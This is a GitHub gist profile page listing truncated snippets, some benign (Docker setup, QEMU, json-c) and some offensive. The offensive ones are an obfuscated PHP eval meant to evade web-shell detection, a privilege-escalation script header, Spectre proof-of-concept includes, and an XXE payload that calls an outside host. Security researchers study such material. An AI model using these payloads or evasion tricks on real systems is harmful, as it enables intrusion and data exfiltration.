Skip to content

Instantly share code, notes, and snippets.

View raminfp's full-sized avatar
✔️
Verified

Ramin Farajpour Cami raminfp

✔️
Verified
View GitHub Profile
#include <stdio.h>
#include <string.h>
struct struc1
{
int a; int b;
char c1;
char c2;
float f;
};
@raminfp
raminfp / docker-ce-ubuntu-17.10.md
Created December 13, 2017 14:15
Install Docker CE on Ubuntu 17.10 and Docker-compose

Installing Docker CE on Ubuntu 17.10 Artful Aardvark

As of 20/10/2017, a release file for Ubuntu 17.10 Artful Aardvark is not available on Download Docker.

sudo apt-get update
sudo apt-get install apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo apt-key fingerprint 0EBFCD88
@raminfp
raminfp / PRIVILEGE ESCALATION
Created September 9, 2016 19:31
PRIVILEGEESCALATION.py
#!/usr/env python
try:
import subprocess as sub
compatmode = 0 # newer version of python, no need for compatibility mode
except ImportError:
import os # older version of python, need to use os instead
compatmode = 1
# title / formatting
/*
cmp_digit(2, 4);
| |
| |
esi edi
ret:
0 : true
1 : false
*/
@raminfp
raminfp / bypass_anti_shell.php
Created January 24, 2018 14:34
PHP bypass anti shell
<?php
$hello = 'Hello';
$world = 'World!';
$str = 'echo "Say : '. $hello . ' ' . $world . '";';
$filename='e'.'v'.'a'.'l(\''. $str. '\');';
$newfunc = create_function('', $filename);
$newfunc();
?>
/usr/local/lib/python2.7/dist-packages/django/core/management/commands/runserver.py
from __future__ import unicode_literals
import errno
import os
import re
import socket
import sys
@raminfp
raminfp / spectre.c
Created January 5, 2018 06:34 — forked from rootkea/spectre.c
PoC from Spectre Attacks: Exploiting Speculative Execution (https://spectreattack.com/spectre.pdf)
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif
#!/usr/bin/bash
qemu-system-x86_64 \
-hda wheezy.img \
-m 2G \
-smp 2 \
-net user,hostfwd=tcp::10021-:22 -net nic \
-nographic \
@raminfp
raminfp / XXE_payloads
Created August 11, 2017 03:19 — forked from staaldraad/XXE_payloads
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@raminfp
raminfp / json_parser.c
Created August 1, 2017 05:35 — forked from alan-mushi/json_parser.c
Examples for the json-c tutorial.
/*
* A simple example of json string parsing with json-c.
*
* clang -Wall -g -I/usr/include/json-c/ -o json_parser json_parser.c -ljson-c
*/
#include <json.h>
#include <stdio.h>
int main() {
struct json_object *jobj;